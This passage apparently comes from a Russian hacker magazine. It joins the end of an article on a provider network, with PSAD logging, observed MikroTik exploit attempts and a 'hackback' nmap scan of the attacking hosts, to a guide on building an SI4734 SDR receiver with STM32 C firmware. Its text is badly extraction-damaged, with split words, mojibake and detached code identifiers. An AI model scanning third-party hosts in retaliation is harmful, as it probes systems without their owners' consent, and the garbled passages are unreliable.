логиро вание пра вил iptables. Никаких пор тов допол нитель но откры вать
не тре бует ся. Стан дар тный номер пор та служ бы SSH я изме нил, что бы
не воз никло кол лизий в ста тис тике с неав торизо ван ными под клю чени ями.

За три недели работы Orange Pi бла года ря это му инс тру мен ту в пол ностью
пас сивном режиме обна ружи лось более 160 уни каль ных под сетей.

Об наружен ные пас сивные под сети

Пер вые два адре са в спис ке «ата кующих» — это мой собс твен ный и DNS-
сер вер про вай дера. Мой там ока зал ся по понят ным при чинам, а вот DNS-
сер вер про вай дера там появил ся потому, что PSAD пыта ется резол вить PTR-
запись ата кующих плюс еще ОС посыла ет какие-то зап росы. А так как UDP
не сох раня ет сос тояние сес сии, то и получа ется, что обратные отве ты
от DNS-сер вера детек тиру ются как ата ки, что вид но на сле дующем скри не.

Об ратные отве ты от DNS-сер вера детек тиру ются как ата ки

Из ста тис тики вид но, что активно ска ниру ются сер висные пор ты «Мик ротика».
Запус тив веб-сер вер на питоне на этих пор тах, мы можем наб людать, что
про исхо дит попыт ка про экс плу ати ровать уяз вимость, что бы получить учет ные
дан ные и вооб ще весь кон фиг «Мик ротика». А это типич но для работы бот- 
нета. Вот как выг лядит информа ция о каж дом ата кующем и о при мене нии экс- 
пло ита.

Что бы понять, явля ются ли «ата кующие» сами жер тва ми работы бот нета, я
прос каниро вал в ответ (hackback) IP-адре са «ата кующих» и получил 50 живых
хос тов ( ) из 164. При ска ниро вании пор тов (22, 8293, 8728) на этих
адре сах откры тых было все го два, и это были не «Мик ротики». Отсю да мож но
сде лать пред положе ние, что, ско рее все го, зараже ны не сами сетевые
устрой ства, с IP-адре сов которых про исхо дило ска ниро вание, а компь юте ры,
под клю чен ные в LAN к этим устрой ствам и находя щиеся за NAT.

nmap -sn

ÇÀÊËÞ×ÅÍÈÅ

Итак, получа ется, что цепоч ка мис конфи гов у про вай дера поз воля ет бес плат- 
но исполь зовать его сеть в сво их инте ресах и безопас ной ее счи тать никак
нель зя. Кро ме того, ана лиз сети показал, что даже не под клю чен ные
к интерне ту устрой ства впол не успешно ата куют ся соседя ми.

mailto:kirill.murzin@gmail.com
https://www.cipherdyne.org/LinuxFirewalls/
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Се год ня я рас ска жу о том, как устро ены
сов ремен ные вещатель ные при емни ки,
на при мере SI473X — семей ства однокрис- 
таль ных SDR-при емни ков. Заод но напишем
собс твен ную биб лиоте ку для управле ния
эти ми чипами. Спро сишь, зачем нам
еще один при емник? Что бы поуп ражнять ся
в их соз дании, опро бовать инте рес ную
мик росхе му и, конеч но же, узнать мно го
нового!

ÊÀÊ ÐÀÄÈÎÏÐÈÅÌÍÈÊÈ ÑÒÀËÈ ØÈÐÏÎÒÐÅÁÎÌ

Прог ресс не сто ит на мес те: в течение пре дыду щего сто летия сто имость
ради опри емни ков сни жалась, при этом их харак терис тики ста нови лись все
луч ше. Так, в 20-е годы XX века основной вклад в сто имость вно сили ради- 
олам пы — вспом ни хотя бы пер вый супер гетеро дин Армстрон га, который мы
уже упо мина ли, говоря об .ис тории супер гетеро дина

На момент сво его появ ления он казал ся совер шенно безум ным, так
как содер жал восемь ламп — огромное количес тво для того вре мени. А ведь
ему нуж ны были еще батарей ки общим раз мером с неболь шой чемодан!

В 1930-х подоб ный при емник уже был впол не реален и даже про изво дил- 
ся серий но, а кро ме того, появи лись лам пы кос венно го накала, которые мож- 
но было запитать от сети. Да и цены ста ли не такие заоб лачные. В ито ге при- 
емник сто ил при мер но как сей час айфон, и его уже мож но было пос тавить
на стол, не рис куя сло мать пос ледний.

Сле дующий этап уде шев ления и мини атю риза ции про ходил дос таточ но
мед ленно, лам пы дешеве ли и умень шались в раз мерах, совер шенс тво валась
схе мотех ника. Про дол жалось это вплоть до 1960-х годов. А про рыв слу чил ся
в начале пятиде сятых, ког да появи лись пер вые серий ные тран зисто ры и на
них пос тро или пер вый серий ный при емник .Regency TR-1

По харак терис тикам он усту пал лам повым того вре мени и сто ил замет но
дороже, но его уже мож но было положить в кар ман. А даль ше тран зисто ры
потихонь ку дешеве ли, их парамет ры улуч шались, а вмес те с ними ста нови- 
лись мень ше и эко номич нее при емни ки. Появи лись интеграль ные схе мы,
и где-то к 1970-м годам количес тво тран зисто ров в устрой стве перес тало
сущес твен но вли ять на цену. Все боль ший вклад в раз мер и цену ста ли вно- 
сить кон туры про межу точ ной час тоты и вход ные перес тра иваемые цепи.

Оче ред ной рывок про изо шел в начале вось мидеся тых, ког да инже нерам
фир мы Philips уда лось умес тить весь ради очас тотный тракт в одну мик росхе- 
му. А кро ме того, за счет схе мотех ничес ких ухищ рений изба вить ся от всех
кон туров, кро ме гетеро дин ного. Мик росхе ма получи ла наз вание ,
а про тотип при емни ка, пред став ленный в рек ламных целях, выг лядел доволь- 
но-таки необыч но.

TDA7000

Про тотип при емни ка на TDA7000

Шту ка получи лась на ред кость удач ная, поэто му вско ре появи лись TDA7021
( ) с под дер жкой сте реоко диро вания и TDA7088 ( ), где добави лась
воз можность авто поис ка стан ций. В пос ледней мик росхе ме исполь зовалась
неболь шая циф ровая часть, которая за этот самый поиск отве чала. Впро чем,
там все было устро ено дос таточ но при митив но, но про дер жалась такая конс- 
трук ция дос таточ но дол го. Это имен но те при емни ки, которые встра ива ли
чуть ли не в зажигал ки в начале 2000-х.

PDF PDF

Рос сий ские раз работ чики хоть и отста вали, но переня ли опыт, в резуль- 
тате чего появи лась зна мени тые К174ХА34 (TDA7021), К174ХА42 (TDA7000)
и очень забав ная гиб ридная схе ма СХА058.

СХА058

А вот на соз дание ана лога TDA7088 ресур сов у оте чес твен ного про изво дите- 
ля уже не хва тило, или, ско рее, ста ло не до того. В любом слу чае, сей час все
эти чипы счи тают ся уста рев шими и не про изво дят ся, за исклю чени ем кло нов
TDA7088, но и ему, видать, недол го оста лось.

Се год ня нас тупила эра SDR/DSP-при емни ков, в которых основная обра- 
бот ка сиг нала выпол няет ся матема тичес ки на оциф рован ных дан ных, мы
это уже обсужда ли, ког да собира ли . Но там обра бот ка оциф рован- 
ного сиг нала про исхо дила на ПК. А мож но ли обой тись без компь юте ра?
Да лег ко: в 2001 году Philips выпус тила чип TEA5767 ( ), пред став ляющий
собой однокрис таль ный циф ровой при емник. Этот чип тре бовал минимум
обвязки, имел циф ровое управле ние и позици они ровал ся ( ) как удоб ный
вари ант для встра ива ния в раз личные гад жеты типа MP3-пле еров и мобиль- 
ных телефо нов. Сре ди его дос тоинств — квар цевая ста били зация час тоты
и воз можность декоди ровать сте рео.

ZetaSDR

PDF

PDF

TEA5767 с пол ной обвязкой

Чуть поз же появил ся более совер шенный чип . Он изба вил ся от пос- 
ледне го колеба тель ного кон тура в обвязке. Собс твен но, там и обвязки-то
не оста лось, при этом при нима емый диапа зон был замет но рас ширен (64–
108 МГц), появи лась под дер жка . Чувс тви тель ность ста ла повыше, качес- 
тво зву ка тоже, и, что самое уди витель ное, эта кро ха спо соб на тянуть 32-
омные науш ники без допол нитель ного уси лите ля. И все это мень ше чем
за десять руб лей! А сверх того, чип име ет обратную сов мести мость
с RDA5807, да и вооб ще спо собен 

. Но с кон трол лером все же веселее.

RDA5807

RDS

ра ботать без управля юще го мик рокон- 
трол лера

RDA5807 с обвязкой

Но даже все перечис ленное не пре дел: в чип мож но запих нуть еще и ДВ/СВ/
КВ-при емник, как это сде лано в KT0915 ( ), AKC6951 ( ) (тут еще и пер- 
вые нес коль ко каналов TV при нимать мож но) и SI473Х, о которых мы и будем
говорить даль ше.
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Мы соз дадим сов ремен ный ради опри емник, подоб ный сов ремен ным ком- 
мерчес ким образцам, таким как PL330 и ETON SATELLIT. Но наше изде лие
будет при этом мак сималь но прос тым и эффектив ным.

PL330

ETON SATELLIT

ÏÎ×ÅÌÓ SI4734

SI4735 отли чает ся от дру гих упо мяну тых чипов тем, что под держи вает пат чи
про шив ки, а это откры вает дос туп к допол нитель ным фун кци ям. Так, в сети
есть патч, который поз воля ет при нимать сиг налы с -модуля цией. Что
в ней такого, спро сишь ты? Да в общем, ничего осо бен ного, прос то на ней
работа ют любите ли в КВ-диапа зонах, и их порой инте рес но пос лушать. И это,
навер ное, самый прос той вари ант такого при емни ка.

SSB

Хо рошо, с SI4735 разоб рались, а почему в заголов ке зна чит ся SI4734?
Дело в том, что все мик росхе мы SI473X сов мести мы «pin в pin» и отли чают ся
толь ко набором фун кций. Млад шие модели (SI4730, SI4731) под держи вают
длин ные вол ны и FM, а стар шие модели (SI4732, SI4735) под держи вают еще и
корот кие вол ны и RDS. SI4734 под держи вает КВ, но не уме ет RDS. Кро ме все- 
го про чего, они здо рово раз лича ются по цене: SI4730 сто ит при мер- 
но 100 руб лей, SI4734 — 150, SI4735 — поряд ка 500 руб лей. Прав да, все го
год назад они были минимум в три раза дешев ле, ну да это извес тная сей час
проб лема.

Патч офи циаль но под держи вает толь ко SI4735, на ней я и хотел экспе- 
римен тировать. Но куп ленный мною экзем пляр ока зал ся нерабо чим, поэто му
я пос тавил SI4734-D60, который имел ся в загаш нике. А заод но поп робовал
скор мить это му чипу патч, и, к моему удив лению, он сра ботал. Так что, если
тебе не нужен RDS, мож но сэконо мить.

Об радовав шись такому успе ху, я поп робовал поковы рять SI4730-D60, тем
более что в сети прос каль зывала информа ция, буд то некото рые из этих чипов
могут работать на КВ. Одна ко у меня они не зарабо тали и патч на них тоже
не встал. Очень веро ятно, что патч сра бота ет и на SI4732, пос коль ку китай цы
час то добав ляют эту мик росхе му в наборы сво их при емни ков и заяв ляют
о под дер жке SSB.

ÑÕÅÌÎÒÅÕÍÈÊÀ

Для наших экспе римен тов мы соберем отно ситель но нес ложную конс трук- 
цию, сос тоящую из двух бло ков: бло ка управле ния и бло ка при емни ка. Блок
управле ния соберем на STM32F030, добавим к нему энко дер, дис плей OLED
и восемь кно пок. От кно пок мож но вов се отка зать ся, но с ними управлять
при емни ком нам ного удоб нее. За кла виату ру будет отве чать PCF8574, очень
удоб ная мик росхе ма — рас ширитель пор тов с I2C-интерфей сом. Вве дение
рас ширите ля пор тов хоть и усложня ет схе му, но упро щает раз водку пла ты
и опрос кно пок. Питать все это дело удоб но с помощью LiPO-акку муля тора,
поэто му добавим туда еще кон трол лер заряда и DC/DC-пре обра зова тель
на RT9136 для питания кон трол лера. Исполь зование активно го пре обра зова- 
теля целесо образно в пла не повыше ния КПД.

Схе ма при емни ка

Вы ход ной мощ ности SI4735 недос таточ но для рас качки стан дар тных 32-
омных науш ников, поэто му нужен ауди оуси литель, даже два, так как у нас сте- 
рео. В качес тве уси лите ля исполь зована мик росхе ма TDA2822 ( ) в стан- 
дар тном вклю чении. Это не луч ший вари ант по двум при чинам: во-пер вых,
у нее слиш ком высок коэф фици ент уси ления, а во-вто рых, на мой вкус, она
слиш ком шумит. Луч ше на эту роль подой дет LM4863 ( ), но у меня ее
не ока залось под рукой. Тем не менее TDA2822 недур но справ ляет ся со сво- 
ей задачей.
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В завод ских решени ях обыч но исполь зует ся УВЧ и маг нитная антенна, мы
же пос тупим про ще: пос тавим на вход филь тр 5-го поряд ка с час тотой сре за
и будем исполь зовать пол нораз мерную антенну — все рав но на штырь
в квар тире мож но ловить толь ко помехи, FM и пару китай ских стан ций
в хороший день. Что же каса ется FM-вхо да, то ему ком фор тно и без вход ных
цепей. Кро ме того, саму SI4734 вмес те со вход ными цепями мы помес тим
в экран из жес ти (пла та двух сто рон няя, вто рая сто рона — сплош ная медь),
бла го это сов сем не слож но. Исполь зование внеш ней пол нораз мерной
антенны силь но сни зит навод ки от циф ровой час ти и изба вит от УВЧ.

Что каса ется этой самой циф ровой час ти, то тут каких-либо осо бен ностей
нет. Схе ма, пла ты и про чее лежат на . Вешать пос тоян но обновля- 
ющий ся дис плей и кла виату ру на одну шину с SI4734 — не очень хорошая
идея из-за воз можных помех, одна ко оста нов ка кон трол лера и вык лючение
дис плея на слух не вно сит изме нений. Отсю да мож но сде лать вывод, что
в городе гораз до боль ший вклад в качес тво при ема вно сит зашум ленность
эфи ра.

GitHub

Офор мле но это в дос таточ но минима лис тичном сти ле, впро чем, кор пуса я
делать никог да не любил. У меня получи лось что-то сред нее меж ду макетом
и закон ченным устрой ством, но тран спор тиров ку и полевое исполь зование
при емник пережил не помор щившись.

INFO

Пред видя воп росы, ска жу сра зу, что управля- 
ющий блок мож но соб рать и на Blue Pill, и на
ARDUINO, в пос леднем слу чае на Али мож но
купить уже соб ранную пла ту. Обой дет ся это при- 
мер но в 3000 руб лей. А за допол нитель ные день- 
ги к это му делу мож но докупить кор пус. Но это
не наш метод, мы же соб рались поковы рять ся
с SI4734!

Продолжение статьи →

mailto:duospirit@gmail.com
https://xakep.ru/2020/10/30/supergeterodin/
https://ru.wikipedia.org/wiki/Regency_TR-1
https://www.cool386.com/tda7000/tda7000.html
https://static.chipdip.ru/lib/073/DOC000073567.pdf
https://static.chipdip.ru/lib/160/DOC000160443.pdf
https://xakep.ru/2020/05/08/zetasdr/
http://pdf.datasheetcatalog.com/datasheet/philips/TEA5768.pdf
http://pdf.datasheetcatalog.com/datasheet/philips/TEA5768.pdf
https://drive.google.com/file/d/0B3wGBsOmfWhVaTJQNkZ5YzJ0R28/view?resourcekey=0-k9dcSauW6X98kk4f4J_56Q
https://ru.wikipedia.org/wiki/Radio_Data_System
http://www.crystalradio.cn/thread-508167-1-1.html
http://aitendo3.sakura.ne.jp/aitendo_data/product_img/ic/radio/KT0915%20/KT0915_datasheet_V022_aitendo.pdf
https://maximradio.altervista.org/datasheets/AKC6951-datasheet-english.pdf
https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%BD%D0%BE%D0%BF%D0%BE%D0%BB%D0%BE%D1%81%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D1%8F%D1%86%D0%B8%D1%8F
https://static.chipdip.ru/lib/222/DOC000222920.pdf
https://www.ti.com/lit/ds/symlink/lm4863.pdf
https://github.com/5881/si4734-ssb-v2


СЕКРЕТЫ SI473X
ДЕЛАЕМ ПРИЕМНИК И ИЩЕМ

СКРЫТЫЕ ВОЗМОЖНОСТИ МИКРОСХЕМЫ SDR

GEEK  НАЧАЛО СТАТЬИ←

ÏÐÎØÈÂÊÀ

В сети дос таточ но руководств по сбор ке при емни ков на SI4735, одна ко боль- 
шинс тво авто ров дела ют акцент на схе мотех нику и сбор ку на макете, пос ле
чего туда залива ют один из вари антов готовой про шив ки. Мы же поп робу ем
разоб рать ся, как написать такую про шив ку самос тоятель но поч ти с нуля,
поэто му все нижес казан ное дос таточ но лег ко перенес ти на любой дру гой
мик рокон трол лер, лишь бы у него хва тало памяти для хра нения пат ча.

Итак, что же за зверь SI4734 и с чем его едят? Этот чип управля ется
по шине I2C, и каж дая посыл ка пред став ляет собой адрес мик росхе мы (с
битом перек лючения запись/чте ние), 1 байт коман ды и до 7 байт аргу мен тов.
У каж дой коман ды свое количес тво аргу мен тов, впро чем, даташит говорит,
что посыл ки мож но сде лать и фик сирован ной дли ны, если вмес то неис поль- 
зуемых аргу мен тов слать . Для наших целей понадо бит ся не так мно го
команд, поэто му мы можем поз волить себе написать для каж дой свою фун- 
кцию. Резуль татом выпол нения коман ды мож но счи тать ответ, сос тоящий
из бай та ста туса и до 7 байт собс твен но отве та, при чем и здесь допус кает ся
уни фика ция дли ны: мож но читать по 8 байт, все неис поль зуемые будут .

0x00

0x00
Но тут есть нюанс: коман да выпол няет ся не мгно вен но, а с задер жкой,

до исте чения которой мик росхе ма будет отве чать толь ко нулями. Поэто му,
ког да нам необ ходим ответ, мы с некото рой пери одич ностью будем его счи- 
тывать, пока пер вый байт отве та не будет равен , что сви детель ству ет
о завер шении исполне ния коман ды. Сле дом мож но счи тать бай ты отве та и/
или отправ лять сле дующую коман ду.

0x80

Для отправ ки и чте ния пакетов по I2C мы будем исполь зовать уже извес- 
тную нам коман ду биб лиоте ки  

, где  — исполь зуемая шина I2C (I2C1),
а  — семибит ный адрес . О бите записи/чте ния за нас
позабо тит ся биб лиоте ка. В ито ге работа с мик росхе мой вкрат це будет пред- 
став лять собой сле дующую пос ледова тель ность дей ствий: ини циали зация,
нас трой ка режима работы, нас трой ка на нуж ную час тоту. Все опи сан ное ниже
опи рает ся на содер жание докумен тов 

.

LibopenCM3 i2c_transfer7(SI4734I2C,
SI4734ADR ...) SI4734I2C
SI4734ADR SI4734 0x11

AN332 «Si47XX Programming Guide»
и AN332SSB
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Преж де все го SI4734 нуж но ини циали зиро вать. Сде лать это мож но в одном
из трех режимов: AM, FM или SSB. Перед началом ини циали зации докумен- 
тация рекомен дует выпол нить сброс. Дела ется это три виаль но: надо
ненадол го под тянуть к зем ле REST-пин SI4734. Для задер жки исполь зует ся
совер шенно ленивая фун кция, бла го точ ность тут не име ет осо бого зна чения.

#define SI4734D60_RSTPORT GPIOA
#define SI4734D60_RSTPIN GPIO7
#define SI4734_RST_CLR() gpio_clear(SI4734D60_RSTPORT, 
SI4734D60_RSTPIN)
#define SI4734_RST_SET() gpio_set(SI4734D60_RSTPORT, 
SI4734D60_RSTPIN)

  void delay(uint16_t ms){
  uint64_t temp;
 temp=ms<<10;
 while(temp--)__asm__("nop");
}

 void si4734_reset(){
 SI4734_RST_CLR();
 delay(10);
 SI4734_RST_SET();
 delay(10);
}

Для ини циали зации исполь зует ся коман да , которая тре бует
два парамет ра. Пер вый вклю чает так тирова ние и опре деля ет режим работы,
а вто рой нас тра ивает ауди овы ходы. Мы исполь зуем часовой кварц и ана лого- 
вые выходы, поэто му для FМ при меня ются парамет ры , , а для АM —

, . Пос ле отправ ки коман ды, опра шивая чип, дожида емся отве та
. Обыч но на это ухо дит один-два зап роса.

POWER_UP 0x01

0x10 0x05
0x11 0x05
0x80

#define SI4734I2C I2C1
#define SI4734ADR 0x11

 uint8_t si4734_fm_mode(){
 // ARG1 (1<<4)|0 AN322 p130
 // ARG2 00000101
  uint8_t cmd[3]={POWER_UP,0x10,0x05};
   uint8_t status, tray=0;
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,3,0,0);
 delay(1000);
  do{ i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
   tray++;
     if(tray==255) return 0xff;
   delay(50);
 }while(status!=0x80);
  return status;
}

 uint8_t si4734_am_mode(){
 // ARG1 (1<<4)|1 AN322 p130
 // ARG2 00000101
  uint8_t cmd[3]={POWER_UP,0x11,0x05};
   uint8_t status, tray=0;
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,3,0,0);
 delay(1000);
  do{ i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
   tray++;
     if(tray==255) return 0xff;
   delay(50);
 }while(status!=0x80);
  return status;
}

В ответ на коман ду  чип может выдать еще 8 байт, которые даташит
рекомен дует про верять, одна ко на это мож но забить и даже их не счи тывать.
На дан ном эта пе уже мож но про верить качес тво работы мик росхе мы: исправ- 
ная вер нет ответ  и запус тит квар цевый генера тор, что про веря ется
осциллог рафом. Если коман ды отправ лены вер но, а генера тор не запус тился,
то, веро ятно, чип битый.

POWER_UP

0x80

А что там с SSB? С одно полос ной модуля цией все хит рее, так как это
не стан дар тная фун кция. Одна ко бла года ря  нам дос тупны

, поз воля ющие при нимать SSB и NBFM. Имен но их
и исполь зуют биб лиоте ки, выложен ные на GitHub для работы с SI4735, и мы
так же ими вос поль зуем ся. Впро чем, мы поза имс тву ем этот патч из 

, там он уже офор млен в виде мас сива C, что нам и нуж но.

Ва диму Афонь кину
пат чи и ману ал к ним

биб лиоте- 
ки Аrduino

Для заг рузки пат ча в память у SI4734 есть две коман ды:  и . У каж- 
дой по 7 байт аргу мен тов,  отме чает адрес в памяти SI4734, куда будет
писать ся патч, а  отве чает за заг рузку самого пат ча по 7 байт за один
заход. Само собой, пос ле каж дой такой коман ды надо дож дать ся отве та

. Патч пред став ляет собой мас сив, содер жащий упо мяну тые выше
коман ды и необ ходимые аргу мен ты, то есть от нас тре бует ся читать из мас- 
сива по 8 байт, отправ лять в чип и ждать, пока он их перева рит. Учи тывая
изрядный раз мер пат ча, на это ухо дит око ло секун ды. В целом весь про цесс
напоми нает опи сан ную выше про цеду ру ини циали зации АМ, толь ко в пер вом
аргу мен те выс тавлен бит, отве чающий за при ем пат ча: 

. А даль ше залива ем патч.

0x15 0x16
0x15

0x16

0x80

RST POWER_UP 0x31,
0x05

   const uint8_t ssb_patch_content[] =
        {0x15, 0x00, 0x03, 0x74, 0x0B, 0xD4, 0x84, 0x60,
 ...
        0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0x02};// 0x451 строк

  uint8_t si4734_ssb_patch_mode(uint8_t *patch){
 // ARG1 (1<<5)|(1<<4)|1 AN322SSB p7
 // ARG2 00000101
  uint8_t cmd[3]={POWER_UP,0x31,0x05};
   uint8_t status, tray=0;
  uint16_t count,iterate=0;
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,3,0,0);
 delay(1000);
 do{
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
   tray++;
     if(tray==255) return 0xff;
   delay(50);
 }while(status!=0x80);
   if(status!=0x80) return 0x1;
 count=0x451;
 while(count--){
   tray=0;
   i2c_transfer7(SI4734I2C,SI4734ADR,patch+iterate,8,0,0);
   iterate+=8;
   delay(2);
   do{
     i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
     tray++;

       if(tray==255) return 0x02;
     delay(1);
   }while(status!=0x80);
 }
  return status;
}

si4734_ssb_patch_mode(ssb_patch_content);

INFO

Ес ли у тебя есть одна из реали заций подоб ного
при емни ка, мож но пос мотреть, какой патч она
исполь зует, слу шая шину I2C и вылав ливая
посыл ки, начина ющиеся на ,  и ,

. Это нес ложно сде лать логичес ким ана- 
лиза тором.

0x11 0x15 0x11
0x16

Сра зу пос ле залив ки пат ча раз дает ся харак терный «хрюк» из динами ков.
Окир пичить чип некор рек тным пат чем, судя по все му, невоз можно, так
как при сбро се вос ста нав лива ется завод ская про шив ка, а некор рек тный патч
прос то не зарабо тает. Во вся ком слу чае, те экзем пля ры SI4730, которые тес- 
тировал я, пос ле ресета работа ли штат но.

Íàñòðîéêà ðåæèìà ðàáîòû

Пос ле ини циали зации уста нав лива ются про шитые на заводе дефол тные
парамет ры. Если хочет ся побыс трее запус тить эту шту ку, то этот шаг мож но
про пус тить. Осо бен но учи тывая, что нас тра иваемых парамет ров у SI4734 нес- 
коль ко десят ков и для каж дого режима они свои, а на завод ских нас трой ках
чип уже будет впол не себе работать. Одна ко некото рые парамет ры име ет
смысл под кру тить, осо бен но это каса ется SSB.

Нач нем с прос того: с FM. В SI4734 по умол чанию выс тавлен режим кор- 
рекции пре дыс кажений по аме рикан ско му стан дарту, его сто ит поменять
на евро пей ский. Для это го нам понадо бит ся коман да ,
у неe пять аргу мен тов. Пер вый — , затем два бай та номера парамет ра
(стар ший и млад ший) и два бай та — зна чение, которое будет записа но (стар- 
ший и млад ший).

SET_PROPERTY 0x12
0x00

    uint8_t si4734_set_prop(uint16_t prop, uint16_t val){
  uint8_t cmd[6]={SET_PROPERTY,0,(prop>>8),
                 (prop&0xff),(val>>8),(val&0xff)};
  uint8_t status;
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,6,0,0);
 delay(100);
 i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
  return status;
}

Здесь регуляр ный опрос чипа в ожи дании отве та заменен фик сирован ной
задер жкой, но ее надо подоб рать. Теперь с помощью этой фун кции поменя- 
ем инте ресу ющий параметр, а заод но про пишем задан ную гром кость.

#define FM_DEEMPHASIS 0x1100
#define RX_VOLUME    0x4000
si4734_set_prop(FM_DEEMPHASIS,0x0001);// 01 = 50 µs. Used in Europe, 
Australia, Japan

 si4734_set_prop(RX_VOLUME, vol);

С АМ парамет ров поболь ше: рас ширим полосу про пус кания до 6 кГц,
без это го вещатель ные стан ции зву чат неп ривыч но глу хо, а ведь там и музыку
кру тят. Заод но вклю чим подав ление помехи 100 Гц по питанию. Не знаю, нас- 
коль ко это эффектив но, но хуже не ста новит ся. За эти два парамет ра отве- 
чает коман да . На этом мож но и оста новить ся,
одна ко, что бы луч ше слы шать сла бые стан ции, сто ит отклю чить шумодав
и добавить уси ления в тракт НЧ, ну и выс тавить гром кость. В общем виде нас- 
трой ка выг лядит так:

AM_CHANNEL_FILTER 0x3102

#define AM_CHANNEL_FILTER 0x3102
#define AM_SOFT_MUTE_MAX_ATTENUATION 0x3302
#define AM_AUTOMATIC_VOLUME_CONTROL_MAX_GAIN 0x3103

 si4734_set_prop(AM_CHANNEL_FILTER, 0x0100);
 si4734_set_prop(AM_SOFT_MUTE_MAX_ATTENUATION, 0);// soft mute off

  si4734_set_prop(AM_AUTOMATIC_VOLUME_CONTROL_MAX_GAIN, 0x5000); // 60 
дБ

 si4734_set_prop(RX_VOLUME, vol);

И наконец, SSB. Тут пок рутить при дет ся поболь ше: надо нас тро ить режим
работы парамет ром  и выс тавить полосу про пус кания 3 кГц
(ори енти руем ся на телефон ные сиг налы). Вык люча ем авто подс трой ку час- 
тоты и вклю чаем авто нас трой ку гром кости. Затем добав ляем уси ления
в ауди отракт и вык люча ем шумодав. Коды парамет ров тут тe же, что и в АМ.
Подоб ным же обра зом выс тавля ем гром кость.

SSB_MODE 0x0101

#define SSB_MODE 0x0101
si4734_set_prop(SSB_MODE,((1<<15)|(1<<12)|(1<<4)|2));// ssb man page 
24

 si4734_set_prop(AM_SOFT_MUTE_MAX_ATTENUATION, 0);// soft mute off
  si4734_set_prop(AM_AUTOMATIC_VOLUME_CONTROL_MAX_GAIN, 0x7000); // 84 

дБ
 si4734_set_prop(RX_VOLUME, vol);

Вот и вся пред варитель ная нас трой ка, не так страш но, в общем-то. Оста лось
задать час тоту.

Íàñòðîéêà ÷àñòîòû

Нас трой ка час тоты в раз ных режимах работы нем ного отли чает ся: про ще
все го в FМ и АМ, нес коль ко хит рее в SSB. Hачнeм с FМ. Для нас трой ки
на задан ную час тоту сущес тву ет спе циаль ная коман да ,
у которой четыре парамет ра. Пер вый отве чает за ско рость нас трой ки
в ущерб точ ности, зададим его как . B FМ это не очень прин ципи аль но.
Два сле дующих — стар ший и млад ший бай ты час тоты в десят ках килогерц,
а пос ледний — это подс трой ка вход ной eмкос ти, его рекомен дуют выс- 
тавлять в  (авто нас трой ка), если приeм ведет ся на корот кий штырь. Так
и пос тупим. В общем, всe так же, как и рань ше: шлeм коман ду с парамет- 
рами, ждeм отве та .

FM_TUNE_FREQ 0x20

0x00

0x00

0x80

  uint8_t si4734_fm_set_freq(uint16_t freq_10khz){
  uint8_t fast,freq_h,freq_l,status,tray=0;
 fast=0;
 freq_h=freq_10khz>>8;
 freq_l=freq_10khz&0xff;
  uint8_t cmd[6]={FM_TUNE_FREQ,fast,freq_h,freq_l,0,0};
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,6,0,0);
 delay(20);
 //do{
 //  status=si4734_get_int_status();
 //  delay(50);
 //} while(!status || status&1);
 do{
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
   tray++;
     if(tray==255) return 0xff;
   delay(20);
 }while(status!=0x80);
  return status;
}

Дос тупные зна чения час тоты от 6300 до 10 900 чуть шире даташи та, даль ше
чип выда ет ошиб ку. C АМ все поч ти так же, толь ко код коман ды дру гой —

 и парамет ров уже пять. Пер вый — уско рен ная нас трой ка
в ущерб точ ности (  и , выкл/вкл соот ветс твен но). Далее два бай та
час тоты в килогер цах, стар ший и млад ший, а за ними два бай та нас трой ки
вход ной eмкос ти ( , авто подс трой ка).

AM_TUNE_FREQ 0x40
0x00 0x01

0x00
Ав топодс трой ка хороша на длин ных/сред них вол нах, ког да ко вхо ду AMI

под клю чена маг нитная антенна. Это поз воля ет нас тро ить еe в резонанс.
Но так как мы исполь зуем внеш нюю пол нораз мерную антенну, а на вхо де
у нас сто ит еще и ФНЧ, мы отклю чим эту подс трой ку, выс тавив минималь ное
зна чение двух байт . Вооб ще, инте рес но было бы пос тавить
на вход резонан сную цепь и пок рутить эти парамет ры, но это усложни ло бы
конс трук цию и вряд ли дало бы сущес твен ный выиг рыш.

0x00 0x01

Что же каса ется пер вого парамет ра, то воп рос дис кусси онный — вклю чать
или нет уско рен ную нас трой ку? С одной сто роны, на АМ нас трой ка нуж на
поточ нее, с дру гой — у этих мик росхем есть неп рият ное свой ство, которое
в интерне те наз вали «чух-чух», — харак терные зву ки при перес трой ке час- 
тоты. Это доволь но силь но раз дра жает, осо бен но с неп ривыч ки. Так вот,
вклю чение уско рен ной нас трой ки чуть умень шает этот эффект, а недос таток
точ ности нам ком пенси рует авто подс трой ка час тоты, вклю чен ная по умол- 
чанию. Так что тут можешь сам поп робовать и выб рать, что боль ше пон равит- 
ся. В ито ге име ем такую фун кцию.

  uint8_t si4734_am_set_freq(uint16_t freq_khz){
  uint8_t fast,freq_h,freq_l,status,tray=0;
 fast=1;
 freq_h=freq_khz>>8;
 freq_l=freq_khz&0xff;
  uint8_t cmd[6]={AM_TUNE_FREQ,fast,freq_h,freq_l,0,1};
 i2c_transfer7(SI4734I2C,SI4734ADR,cmd,6,0,0);
 delay(20);
 do{
   i2c_transfer7(SI4734I2C,SI4734ADR,0,0,&status,1);
   tray++;
     if(tray==255) return 0xff;
   delay(20);
 }while(status!=0x80);
  return status;
}

Те перь SSB. Коман да та же, что для АМ, и парамет ров столь ко же, толь ко
теперь пер вый параметр отве чает за то, какую  мы будем слу- 
шать — LSB ( ) или USB ( ). Сущес тву ет сог лашение,
сог ласно которо му на час тотах до 10 МГц исполь зуют LSB, а выше — USB.
Из это го пра вила име ются исклю чения, но это детали, поэто му мы сде лаем
при вяз ку пер вого аргу мен та к час тоте. Осталь ные четыре парамет ра те же,
что и в АМ. В ито ге получа ем вот такую фун кцию.

бо ковую полосу
0b01000000 0b10000000

